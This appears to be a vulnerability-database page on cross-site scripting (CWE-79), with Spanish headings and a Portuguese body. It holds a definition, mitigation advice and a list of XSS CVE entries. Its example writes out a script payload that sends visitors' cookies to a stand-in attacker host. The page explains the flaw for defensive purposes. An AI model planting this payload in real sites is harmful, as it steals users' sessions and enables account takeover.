Fallos del tipo CWE-79

29.765 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-50842MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability was found in /admin/school_year.php in KASHIPARA E-learning Management System Project 1.0.EPSS 0.4%CVE-2024-51854MEDIUMWordPress Hola Free Video Player plugin <= 1.3.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-46496CRITICALHAX CMS: Stored XSS via '<video-player>' component allows arbitrary JavaScript execution and token theftEPSS 0.4%CVE-2026-75733MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-48297MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-75643MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-48300MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-75729MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47978MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-95659MEDIUMMISP Reflected XSS via Unvalidated Object Type in AnalystData Overmind ThreadEPSS 0.4%CVE-2026-46396CRITICALHAX CMS has a stored XSS via <iframe> that allows access to sensitive client-side data and account takeoverEPSS 0.4%CVE-2026-47973MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-39918HIGHWordPress Booking Package Plugin <= 1.6.01 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-48371MEDIUMAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-39314HIGHWordPress Leyka Plugin <= 3.30.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-47962MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-75727MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-94372MEDIUMStored Cross-Site Scripting via Unescaped Galaxy Cluster Tag Names in MISP Default Theme Galaxies IndexEPSS 0.4%CVE-2026-47936MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47975MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%